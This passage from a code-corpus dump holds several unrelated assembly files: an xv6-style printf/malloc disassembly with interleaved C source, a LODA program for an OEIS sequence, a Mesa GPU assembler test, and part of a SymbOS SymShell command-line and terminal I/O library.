state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4e9: 8b 75 0c mov 0xc(%ebp),%esi 4ec: 0f b6 1e movzbl (%esi),%ebx 4ef: 84 db test %bl,%bl 4f1: 0f 84 b3 00 00 00 je 5aa <printf+0xca> ap = (uint*)(void*)&fmt + 1; 4f7: 8d 45 10 lea 0x10(%ebp),%eax 4fa: 83 c6 01 add $0x1,%esi state = 0; 4fd: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 4ff: 89 45 d4 mov %eax,-0x2c(%ebp) 502: eb 2f jmp 533 <printf+0x53> 504: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 508: 83 f8 25 cmp $0x25,%eax 50b: 0f 84 a7 00 00 00 je 5b8 <printf+0xd8> write(fd, &c, 1); 511: 8d 45 e2 lea -0x1e(%ebp),%eax 514: 83 ec 04 sub $0x4,%esp 517: 88 5d e2 mov %bl,-0x1e(%ebp) 51a: 6a 01 push $0x1 51c: 50 push %eax 51d: ff 75 08 pushl 0x8(%ebp) 520: e8 8d fe ff ff call 3b2 <write> 525: 83 c4 10 add $0x10,%esp 528: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 52b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 52f: 84 db test %bl,%bl 531: 74 77 je 5aa <printf+0xca> if(state == 0){ 533: 85 ff test %edi,%edi c = fmt[i] & 0xff; 535: 0f be cb movsbl %bl,%ecx 538: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 53b: 74 cb je 508 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 53d: 83 ff 25 cmp $0x25,%edi 540: 75 e6 jne 528 <printf+0x48> if(c == 'd'){ 542: 83 f8 64 cmp $0x64,%eax 545: 0f 84 05 01 00 00 je 650 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 54b: 81 e1 f7 00 00 00 and $0xf7,%ecx 551: 83 f9 70 cmp $0x70,%ecx 554: 74 72 je 5c8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 556: 83 f8 73 cmp $0x73,%eax 559: 0f 84 99 00 00 00 je 5f8 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 55f: 83 f8 63 cmp $0x63,%eax 562: 0f 84 08 01 00 00 je 670 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 568: 83 f8 25 cmp $0x25,%eax 56b: 0f 84 ef 00 00 00 je 660 <printf+0x180> write(fd, &c, 1); 571: 8d 45 e7 lea -0x19(%ebp),%eax 574: 83 ec 04 sub $0x4,%esp 577: c6 45 e7 25 movb $0x25,-0x19(%ebp) 57b: 6a 01 push $0x1 57d: 50 push %eax 57e: ff 75 08 pushl 0x8(%ebp) 581: e8 2c fe ff ff call 3b2 <write> 586: 83 c4 0c add $0xc,%esp 589: 8d 45 e6 lea -0x1a(%ebp),%eax 58c: 88 5d e6 mov %bl,-0x1a(%ebp) 58f: 6a 01 push $0x1 591: 50 push %eax 592: ff 75 08 pushl 0x8(%ebp) 595: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 598: 31 ff xor %edi,%edi write(fd, &c, 1); 59a: e8 13 fe ff ff call 3b2 <write> for(i = 0; fmt[i]; i++){ 59f: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 5a3: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 5a6: 84 db test %bl,%bl 5a8: 75 89 jne 533 <printf+0x53> } } } 5aa: 8d 65 f4 lea -0xc(%ebp),%esp 5ad: 5b pop %ebx 5ae: 5e pop %esi 5af: 5f pop %edi 5b0: 5d pop %ebp 5b1: c3 ret 5b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 5b8: bf 25 00 00 00 mov $0x25,%edi 5bd: e9 66 ff ff ff jmp 528 <printf+0x48> 5c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 5c8: 83 ec 0c sub $0xc,%esp 5cb: b9 10 00 00 00 mov $0x10,%ecx 5d0: 6a 00 push $0x0 5d2: 8b 7d d4 mov -0x2c(%ebp),%edi 5d5: 8b 45 08 mov 0x8(%ebp),%eax 5d8: 8b 17 mov (%edi),%edx 5da: e8 61 fe ff ff call 440 <printint> ap++; 5df: 89 f8 mov %edi,%eax 5e1: 83 c4 10 add $0x10,%esp state = 0; 5e4: 31 ff xor %edi,%edi ap++; 5e6: 83 c0 04 add $0x4,%eax 5e9: 89 45 d4 mov %eax,-0x2c(%ebp) 5ec: e9 37 ff ff ff jmp 528 <printf+0x48> 5f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 5f8: 8b 45 d4 mov -0x2c(%ebp),%eax 5fb: 8b 08 mov (%eax),%ecx ap++; 5fd: 83 c0 04 add $0x4,%eax 600: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 603: 85 c9 test %ecx,%ecx 605: 0f 84 8e 00 00 00 je 699 <printf+0x1b9> while(*s != 0){ 60b: 0f b6 01 movzbl (%ecx),%eax state = 0; 60e: 31 ff xor %edi,%edi s = (char*)*ap; 610: 89 cb mov %ecx,%ebx while(*s != 0){ 612: 84 c0 test %al,%al 614: 0f 84 0e ff ff ff je 528 <printf+0x48> 61a: 89 75 d0 mov %esi,-0x30(%ebp) 61d: 89 de mov %ebx,%esi 61f: 8b 5d 08 mov 0x8(%ebp),%ebx 622: 8d 7d e3 lea -0x1d(%ebp),%edi 625: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 628: 83 ec 04 sub $0x4,%esp s++; 62b: 83 c6 01 add $0x1,%esi 62e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 631: 6a 01 push $0x1 633: 57 push %edi 634: 53 push %ebx 635: e8 78 fd ff ff call 3b2 <write> while(*s != 0){ 63a: 0f b6 06 movzbl (%esi),%eax 63d: 83 c4 10 add $0x10,%esp 640: 84 c0 test %al,%al 642: 75 e4 jne 628 <printf+0x148> 644: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 647: 31 ff xor %edi,%edi 649: e9 da fe ff ff jmp 528 <printf+0x48> 64e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 650: 83 ec 0c sub $0xc,%esp 653: b9 0a 00 00 00 mov $0xa,%ecx 658: 6a 01 push $0x1 65a: e9 73 ff ff ff jmp 5d2 <printf+0xf2> 65f: 90 nop write(fd, &c, 1); 660: 83 ec 04 sub $0x4,%esp 663: 88 5d e5 mov %bl,-0x1b(%ebp) 666: 8d 45 e5 lea -0x1b(%ebp),%eax 669: 6a 01 push $0x1 66b: e9 21 ff ff ff jmp 591 <printf+0xb1> putc(fd, *ap); 670: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 673: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 676: 8b 07 mov (%edi),%eax write(fd, &c, 1); 678: 6a 01 push $0x1 ap++; 67a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 67d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 680: 8d 45 e4 lea -0x1c(%ebp),%eax 683: 50 push %eax 684: ff 75 08 pushl 0x8(%ebp) 687: e8 26 fd ff ff call 3b2 <write> ap++; 68c: 89 7d d4 mov %edi,-0x2c(%ebp) 68f: 83 c4 10 add $0x10,%esp state = 0; 692: 31 ff xor %edi,%edi 694: e9 8f fe ff ff jmp 528 <printf+0x48> s = "(null)"; 699: bb 8c 08 00 00 mov $0x88c,%ebx while(*s != 0){ 69e: b8 28 00 00 00 mov $0x28,%eax 6a3: e9 72 ff ff ff jmp 61a <printf+0x13a> 6a8: 66 90 xchg %ax,%ax 6aa: 66 90 xchg %ax,%ax 6ac: 66 90 xchg %ax,%ax 6ae: 66 90 xchg %ax,%ax 000006b0 <free>: static Header base; static Header *freep; void free(void *ap) { 6b0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6b1: a1 44 0b 00 00 mov 0xb44,%eax { 6b6: 89 e5 mov %esp,%ebp 6b8: 57 push %edi 6b9: 56 push %esi 6ba: 53 push %ebx 6bb: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 6be: 8d 4b f8 lea -0x8(%ebx),%ecx 6c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6c8: 39 c8 cmp %ecx,%eax 6ca: 8b 10 mov (%eax),%edx 6cc: 73 32 jae 700 <free+0x50> 6ce: 39 d1 cmp %edx,%ecx 6d0: 72 04 jb 6d6 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6d2: 39 d0 cmp %edx,%eax 6d4: 72 32 jb 708 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 6d6: 8b 73 fc mov -0x4(%ebx),%esi 6d9: 8d 3c f1 lea (%ecx,%esi,8),%edi 6dc: 39 fa cmp %edi,%edx 6de: 74 30 je 710 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6e0: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6e3: 8b 50 04 mov 0x4(%eax),%edx 6e6: 8d 34 d0 lea (%eax,%edx,8),%esi 6e9: 39 f1 cmp %esi,%ecx 6eb: 74 3a je 727 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6ed: 89 08 mov %ecx,(%eax) freep = p; 6ef: a3 44 0b 00 00 mov %eax,0xb44 } 6f4: 5b pop %ebx 6f5: 5e pop %esi 6f6: 5f pop %edi 6f7: 5d pop %ebp 6f8: c3 ret 6f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 700: 39 d0 cmp %edx,%eax 702: 72 04 jb 708 <free+0x58> 704: 39 d1 cmp %edx,%ecx 706: 72 ce jb 6d6 <free+0x26> { 708: 89 d0 mov %edx,%eax 70a: eb bc jmp 6c8 <free+0x18> 70c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 710: 03 72 04 add 0x4(%edx),%esi 713: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 716: 8b 10 mov (%eax),%edx 718: 8b 12 mov (%edx),%edx 71a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 71d: 8b 50 04 mov 0x4(%eax),%edx 720: 8d 34 d0 lea (%eax,%edx,8),%esi 723: 39 f1 cmp %esi,%ecx 725: 75 c6 jne 6ed <free+0x3d> p->s.size += bp->s.size; 727: 03 53 fc add -0x4(%ebx),%edx freep = p; 72a: a3 44 0b 00 00 mov %eax,0xb44 p->s.size += bp->s.size; 72f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 732: 8b 53 f8 mov -0x8(%ebx),%edx 735: 89 10 mov %edx,(%eax) } 737: 5b pop %ebx 738: 5e pop %esi 739: 5f pop %edi 73a: 5d pop %ebp 73b: c3 ret 73c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000740 <malloc>: return freep; } void* malloc(uint nbytes) { 740: 55 push %ebp 741: 89 e5 mov %esp,%ebp 743: 57 push %edi 744: 56 push %esi 745: 53 push %ebx 746: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 749: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 74c: 8b 15 44 0b 00 00 mov 0xb44,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 752: 8d 78 07 lea 0x7(%eax),%edi 755: c1 ef 03 shr $0x3,%edi 758: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 75b: 85 d2 test %edx,%edx 75d: 0f 84 9d 00 00 00 je 800 <malloc+0xc0> 763: 8b 02 mov (%edx),%eax 765: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 768: 39 cf cmp %ecx,%edi 76a: 76 6c jbe 7d8 <malloc+0x98> 76c: 81 ff 00 10 00 00 cmp $0x1000,%edi 772: bb 00 10 00 00 mov $0x1000,%ebx 777: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 77a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 781: eb 0e jmp 791 <malloc+0x51> 783: 90 nop 784: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 788: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 78a: 8b 48 04 mov 0x4(%eax),%ecx 78d: 39 f9 cmp %edi,%ecx 78f: 73 47 jae 7d8 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 791: 39 05 44 0b 00 00 cmp %eax,0xb44 797: 89 c2 mov %eax,%edx 799: 75 ed jne 788 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 79b: 83 ec 0c sub $0xc,%esp 79e: 56 push %esi 79f: e8 76 fc ff ff call 41a <sbrk> if(p == (char*)-1) 7a4: 83 c4 10 add $0x10,%esp 7a7: 83 f8 ff cmp $0xffffffff,%eax 7aa: 74 1c je 7c8 <malloc+0x88> hp->s.size = nu; 7ac: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 7af: 83 ec 0c sub $0xc,%esp 7b2: 83 c0 08 add $0x8,%eax 7b5: 50 push %eax 7b6: e8 f5 fe ff ff call 6b0 <free> return freep; 7bb: 8b 15 44 0b 00 00 mov 0xb44,%edx if((p = morecore(nunits)) == 0) 7c1: 83 c4 10 add $0x10,%esp 7c4: 85 d2 test %edx,%edx 7c6: 75 c0 jne 788 <malloc+0x48> return 0; } } 7c8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 7cb: 31 c0 xor %eax,%eax } 7cd: 5b pop %ebx 7ce: 5e pop %esi 7cf: 5f pop %edi 7d0: 5d pop %ebp 7d1: c3 ret 7d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 7d8: 39 cf cmp %ecx,%edi 7da: 74 54 je 830 <malloc+0xf0> p->s.size -= nunits; 7dc: 29 f9 sub %edi,%ecx 7de: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 7e1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 7e4: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 7e7: 89 15 44 0b 00 00 mov %edx,0xb44 } 7ed: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 7f0: 83 c0 08 add $0x8,%eax } 7f3: 5b pop %ebx 7f4: 5e pop %esi 7f5: 5f pop %edi 7f6: 5d pop %ebp 7f7: c3 ret 7f8: 90 nop 7f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 800: c7 05 44 0b 00 00 48 movl $0xb48,0xb44 807: 0b 00 00 80a: c7 05 48 0b 00 00 48 movl $0xb48,0xb48 811: 0b 00 00 base.s.size = 0; 814: b8 48 0b 00 00 mov $0xb48,%eax 819: c7 05 4c 0b 00 00 00 movl $0x0,0xb4c 820: 00 00 00 823: e9 44 ff ff ff jmp 76c <malloc+0x2c> 828: 90 nop 829: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 830: 8b 08 mov (%eax),%ecx 832: 89 0a mov %ecx,(%edx) 834: eb b1 jmp 7e7 <malloc+0xa7>
oeis/303/A303005.asm
neoneye/loda-programs
0
21913
; A303005: Number of dominating sets in the n-pan graph. ; Submitted by <NAME> ; 3,5,11,19,35,65,119,219,403,741,1363,2507,4611,8481,15599,28691,52771,97061,178523,328355,603939,1110817,2043111,3757867,6911795,12712773,23382435,43007003,79102211,145491649,267600863,492194723,905287235,1665082821,3062564779,5632934835 mov $3,1 mov $4,1 lpb $0 sub $0,1 mov $1,$4 mov $4,$2 mov $2,$1 add $2,$3 mov $3,$1 add $1,1 add $4,$1 lpe mov $0,$4 sub $0,1 mul $0,2 add $0,3
src/intel/tools/tests/gen7.5/cont.asm
SoftReaper/Mesa-Renoir-deb
0
95760
cont(8) JIP: LABEL0 UIP: LABEL2 { align1 1Q }; LABEL0: cont(16) JIP: LABEL1 UIP: LABEL2 { align1 1H }; LABEL1: cont(8) JIP: LABEL2 UIP: LABEL2 { align16 1Q }; LABEL2:
examples/SymbOS_nslookup/src/symbos_lib-SymShell.asm
fengjixuchui/sjasmplus
220
104682
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;@ @ ;@ S Y M B O S S Y S T E M L I B R A R Y @ ;@ - SYMSHELL TEXT TERMINAL FUNCTIONS - @ ;@ @ ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;Author Prodatron / Symbiosis ;Date 28.03.2015 ;SymShell provides a program environment with a text terminal. The input and ;output can be redirected from and to different sources and destinations. ;This library supports you in using the SymShell functions. ;The existance of ;- "App_PrcID" (a byte, where the ID of the applications process is stored) ;- "App_MsgBuf" (the message buffer, 14 bytes, which are placed in the transfer ; ram area) ;- "App_BnkNum" (a byte, where the number of the applications' ram bank (0-15) ; is stored) ;- "App_BegCode" (the first byte/word of the header/code area, which also ; includes the total length of the code area) ;is required. ;### SUMMARY ################################################################## ;; SyShell_PARALL ;Fetches parameters/switches from command line ;; SyShell_PARSHL ;Parses SymShell info switch ;use_SyShell_PARFLG equ 0 ;Validates present switches ;use_SyShell_CHRINP equ 0 ;Reads a char from the input source ;use_SyShell_STRINP equ 0 ;Reads a string from the input source ;use_SyShell_CHROUT equ 0 ;Sends a char to the output destination ;use_SyShell_STROUT equ 0 ;Sends a string to the output destination ;use_SyShell_PTHADD equ 0 ;... ;; SyShell_EXIT ;Informs SymShell about an exit event ;### GLOBAL VARIABLES ######################################################### SyShell_CmdParas ds 8*3 ;command line parameters (1W address, 1B length) SyShell_CmdSwtch ds 8*3 ;command line switches SyShell_PrcID db 0 ;shell process ID SyShell_TermX db 0 ;x length in chars of the text terminal window SyShell_TermY db 0 ;y length in chars of the text terminal window SyShell_Vers db 0 ;SymShell version (e.g. 21 decimal for 2.1) ;### MAIN FUNCTIONS ########################################################### SyShell_PARALL ;****************************************************************************** ;*** Name SymShell_Parameters_All ;*** Input - ;*** Output (SyShell_CmdParas) = list of parameters; 3 bytes/entry ;*** Byte0,1 = pointer ;*** Byte2 = length ;*** (SyShell_CmdSwtch) = list of switches (see above; a switch ;*** is recognized with a % at the ;*** beginning, which is skipped in this ;*** list) ;*** D = number of parameters ;*** E = number of switches ;*** ZF = if 1, no parameters and switches ;*** Destroyed AF,BC,HL,IX,IY ;*** Description This function fetches all parameters and switches from the ;*** command line and generates two pointer tables. A switch is ;*** recognized with a leading "%" char. A pointer to a switch ;*** links to the first char behind the %. All parameters and ;*** switches are zero terminated. ;*** Example A\>EXAMPLE.COM filename.ext %x %all hello123 ;*** This will generate two entries in the parameter table: ;*** - pointer to "filename.ext", length=12 ;*** - pointer to "hello123", length=8 ;*** And two entries in the switch table: ;*** - pointer to "x", length=1 ;*** - pointer to "all", length=3 ;*** Please note, that SymShell itself will add an own switch to ;*** the command line (see "SymShell_Parameters_Shell"). ;****************************************************************************** ld hl,(App_BegCode) ld de,App_BegCode dec h add hl,de ;HL = CodeEnd = Command line ld ix,SyShell_CmdParas ;IX = Parameter List ld iy,SyShell_CmdSwtch ;IY = Switch List ld bc,8*256+8 ;B=8-number of parameters, C=8-number of switches SyHPAl1 push bc call SyHPAl2 pop bc jr z,SyHPAl7 ld a,(hl) cp "%" jr z,SyHPAl6 ld (ix+0),l ;Parameter ld (ix+1),h push hl call SyHPAl4 pop hl ld (ix+2),e ld de,3 add ix,de dec b jr nz,SyHPAl1 jr SyHPAl7 SyHPAl6 inc hl ;Switch ld (iy+0),l ld (iy+1),h push hl call SyHPAl4 pop hl ld (iy+2),e ld de,3 add iy,de dec c jr nz,SyHPAl1 SyHPAl7 ld a,8 sub c ld e,a ld a,8 sub b ld d,a or e ret ;HL=position inside the string -> jump to next string -> HL=next string, ZF=1 end reached SyHPAl2 ld a,(hl) inc hl or a ret z cp " " jr nz,SyHPAl2 dec hl ld (hl),0 SyHPAl3 inc hl ld a,(hl) cp " " jr z,SyHPAl3 ld a,1 or a ret ;HL=position inside the string -> E=length until the end SyHPAl4 ld e,0 SyHPAl5 ld a,(hl) or a ret z cp " " ret z inc e inc hl jr SyHPAl5 SyShell_PARSHL ;****************************************************************************** ;*** Name SymShell_Parameters_Shell ;*** Input (SyShell_CmdSwtch) = list of switches ;*** E = number of switches ;*** Output CF = error state (0 = ok, 1 = no valid shell parameters ;*** found; application should quit itself at once) ;*** (SyShell_PrcID) = shell process ID ;*** (SyShell_TermX) = width in chars of the terminal window ;*** (SyShell_TermY) = height in chars of the terminal window ;*** (SyShell_Vers) = shell version (e.g. 21 decimal for 2.1) ;*** Destroyed AF,BC,DE,HL,IX ;*** Description This function parses the SymShell info switch from the ;*** command line. The info switch is built like this: ;*** %spPPXXYYVV ;*** PP is the process ID of SymShell itself, XX and YY is the ;*** size of the text terminal window and VV is the version of ;*** SymShell. If VV is not present, it is a version below 2.0 ;*** and (SyShell_Vers) will stay 0. ;*** Every SymShell-based application has to parse this switch ;*** with the help of this function, as at least the process ID ;*** is required for any communication with SymShell. You have ;*** to call SyShell_PARALL first before you call this function, ;*** as the switch table already has to be present. ;*** For additional information see also "Symshell Command Line ;*** Information" in the chapter "SymShell Text Terminal" of the ;*** Symbos Developer Documentation. ;****************************************************************************** ld a,e or a jr z,SyHPSh6 ;no switches -> error ld ix,SyShell_CmdSwtch ld bc,3 SyHPSh1 ld l,(ix+0) ld h,(ix+1) ld a,(hl) cp "s" jr nz,SyHPSh2 inc hl ld a,(hl) cp "p" jr z,SyHPSh3 SyHPSh2 add ix,bc dec e jr nz,SyHPSh1 SyHPSh6 scf ;no Shell-Data -> error ret SyHPSh3 inc hl call SyHPSh4 ld (SyShell_PrcID),a call SyHPSh4 ld (SyShell_TermX),a call SyHPSh4 ld (SyShell_TermY),a ld a,(hl) or a ret z call SyHPSh4 ld (SyShell_Vers),a or a ret ;(HL)=2digit number -> A=number, HL=HL+2 SyHPSh4 call SyHPSh5 add a ld d,a add a:add a add d ld d,a call SyHPSh5 add d ret SyHPSh5 ld a,(hl) sub "0" cp 10 inc hl ret c pop hl ;clear stack pop hl scf ;wrong number -> error ret if use_SyShell_PARFLG=1 SyShell_PARFLG ;****************************************************************************** ;*** Name SymShell_Parameters_Switches ;*** Input (SyShell_CmdSwtch) = list of switches ;*** E = number of present switches ;*** IY = list with allowed switches ;*** word 0 = points to valid switch string ;*** (terminated by 0 or colon) ;*** word 1 = will be filled with pointer ;*** behind colon, if found ;*** list is terminated by a 0-word ;*** Output CF = 0 -> all switches are valid; HL = bitfield of detected ;*** switches ;*** CF = 1 -> invalid switch found; HL points to invalid switch ;*** string (including the % char) ;*** Destroyed AF,BC,DE,HL,IX,IY ;*** Description This function validates the present switches with a list of ;*** allowed switches. Switches can have a parameter attached ;*** which is separated by a colon from the switch. If such a ;*** switch is found, the function will insert the pointer to ;*** its parameter into the validation list. If only valid ;*** switches have been found the function returns with a ;*** bitfield in HL of the present switches (bit0=1 -> first ;*** switch in the validation list is present), therefore the ;*** maximum amount of switches is 16. ;*** The function returns with an error, if an invalid switch ;*** has been found. ;****************************************************************************** ld hl,0 ld (SyHPFlb),hl ld a,e or a ret z ld b,e ;b=number of present switches ld ix,SyShell_CmdSwtch SyHPFl1 push iy ;** present switch loop ld c,0 ;iy=validation list, c=number of valid switch SyHPFl2 ld l,(iy+0) ;** valid switch loop ld h,(iy+1) ;hl=next valid switch ld e,(ix+0) ;de=next present switch ld d,(ix+1) ld a,l or h jr nz,SyHPFl3 pop hl dec de ;switch not found in validation switch -> error ex de,hl scf ret SyHPFl3 ld a,(de) ;test, if shell switch cp "s" jr nz,SyHPFl9 inc de ld a,(de) dec de cp "p" jr z,SyHPFla ;yes -> ignore SyHPFl8 ld a,(de) ;compare switches SyHPFl9 cp "A" jr c,SyHPFlc cp "Z"+1 jr nc,SyHPFlc add "a"-"A" SyHPFlc cp (hl) jr nz,SyHPFl7 ;not equal, compare with next valid inc hl inc de or a jr z,SyHPFl4 cp ":" jr nz,SyHPFl8 ld (iy+2),e ;switch contains colon -> set pointer to parameter ld (iy+3),d SyHPFl4 ld hl,1 ;switch found -> set bit inc c SyHPFl5 dec c jr z,SyHPFl6 add hl,hl jr SyHPFl5 SyHPFl6 ld de,(SyHPFlb) add hl,de ld (SyHPFlb),hl SyHPFla ld de,3 add ix,de pop iy djnz SyHPFl1 ld hl,(SyHPFlb) ret ;all present switches are valid -> CF=0, HL=switch-bitfield SyHPFl7 ld de,4 ;continue with next valid add iy,de inc c jr SyHPFl2 SyHPFlb dw 0 ;recognized switches endif if use_SyShell_CHRINP=1 SyShell_CHRINP0 ld e,0 SyShell_CHRINP ;****************************************************************************** ;*** Name SymShell_CharInput_Command ;*** Input E = Channel (0=Standard, 1=Keyboard) ;*** Output CF = Error state (0 = ok, 1 = error; A = error code) ;*** - If error status is 0 ;*** ZF = EOF status (0=EOF) ;*** - If error status is 0 and there is no EOF: ;*** A = Char ;*** Destroyed F,BC,DE,HL,IX,IY ;*** Description Reads a char from an input source. The input source can be ;*** the standard channel or the console keyboard. Usually the ;*** standard channel is the console keyboard, too, but it can also ;*** be a textfile or another source, if redirection or piping is ;*** active. ;*** If the keyboard is used, this function won't return as long as ;*** no key is pressed. If the user pressed Control+C or if the end ;*** of the file (EOF) has been reached, the EOF flag will be set. ;****************************************************************************** ld bc,MSR_SHL_CHRINP*256+MSC_SHL_CHRINP call SyShell_DoCommand ret c ld a,(iy+2) ret endif if use_SyShell_STRINP=1 SyShell_STRINP0 ld e,0 SyShell_STRINP ;****************************************************************************** ;*** Name SymShell_StringInput_Command ;*** Input E = Channel (0=Standard, 1=Keyboard) ;*** HL = String buffer address (must have a size of 256 bytes) ;*** Output CF = Error state (0 = ok, 1 = error; A = error code) ;*** - If error status is 0 ;*** ZF = EOF status (0=EOF) ;*** - If error status is 0 and there is no EOF, the string ;*** buffer contains the read line. ;*** Destroyed F,BC,DE,HL,IX,IY ;*** Description Reads a string from an input source. The input source can be ;*** the standard channel or the console keyboard. Usually the ;*** standard channel is the console keyboard, too, but it can also ;*** be a textfile or another source, if redirection or piping is ;*** active. ;*** The maximum lenght of a string is 255 chars, so the buffer must ;*** have a size of 256 bytes (255 + terminator). A string is always ;*** terminated by 0. ;*** If the keyboard is used, this function won't return until the ;*** user typed in a text line and pressed the Return key. If the ;*** user pressed Control+C or if the end of the file (EOF) has been ;*** reached, the EOF flag will be set. ;****************************************************************************** ld bc,MSR_SHL_STRINP*256+MSC_SHL_STRINP ld a,(App_BnkNum) ld d,a jp SyShell_DoCommand endif if use_SyShell_CHROUT=1 SyShell_CHROUT0 ld e,0 SyShell_CHROUT ;****************************************************************************** ;*** Name SymShell_CharOutput_Command ;*** Input E = Channel (0=Standard, 1=Screen) ;*** D = Char ;*** Output CF = Error state (0 = ok, 1 = error; A = error code) ;*** Destroyed F,BC,DE,HL,IX,IY ;*** Description Sends a char to the output destination. The output destination ;*** can be the standard channel or the console text screen. Usually ;*** the standard channel is the console text screen, too, but it ;*** can also be a textfile or another destination, if redirection ;*** or piping is active. ;****************************************************************************** ld bc,MSR_SHL_CHROUT*256+MSC_SHL_CHROUT jp SyShell_DoCommand endif if use_SyShell_STROUT=1 SyShell_STROUT0 ld e,0 SyShell_STROUT ;****************************************************************************** ;*** Name SymShell_StringOutput_Command ;*** Input E = Channel (0=Standard, 1=Screen) ;*** HL = String address (terminated by 0) ;*** Output CF = Error state (0 = ok, 1 = error; A = error code) ;*** Destroyed F,BC,DE,HL,IX,IY ;*** Description Sends a string to the output destination. The output ;*** destination can be the standard channel or the console text ;*** screen. Usually the standard channel is the console text ;*** screen, too, but it can also be a textfile or another ;*** destination, if redirection or piping is active. ;*** A string has always to be terminated by 0. ;****************************************************************************** ld a,(App_BnkNum) ld d,a push hl xor a ld bc,255 cpir ld a,254 sub c ;A=string length pop hl ret z ld bc,MSR_SHL_STROUT*256+MSC_SHL_STROUT jp SyShell_DoCommand endif if use_SyShell_PTHADD=1 SyShell_PTHADD ;****************************************************************************** ;*** Name SymShell_PathAdd_Command ;*** Input DE = address of base path (0=actual shell path) ;*** HL = address of additional path component ;*** BC = buffer address for new full path ;*** (must have a size of 256 bytes) ;*** Output DE = position behind last char in new path ;*** HL = position behind last / in new path ;*** A = Bit[0]=1 -> new path ends with / ;*** Bit[1]=1 -> new path contains wildcards ;*** Destroyed F,BC,IX,IY ;*** Description ... ;****************************************************************************** ld a,(App_BnkNum) ld (App_MsgBuf+7),a ld a,b ld (App_MsgBuf+6),a ld b,c ld 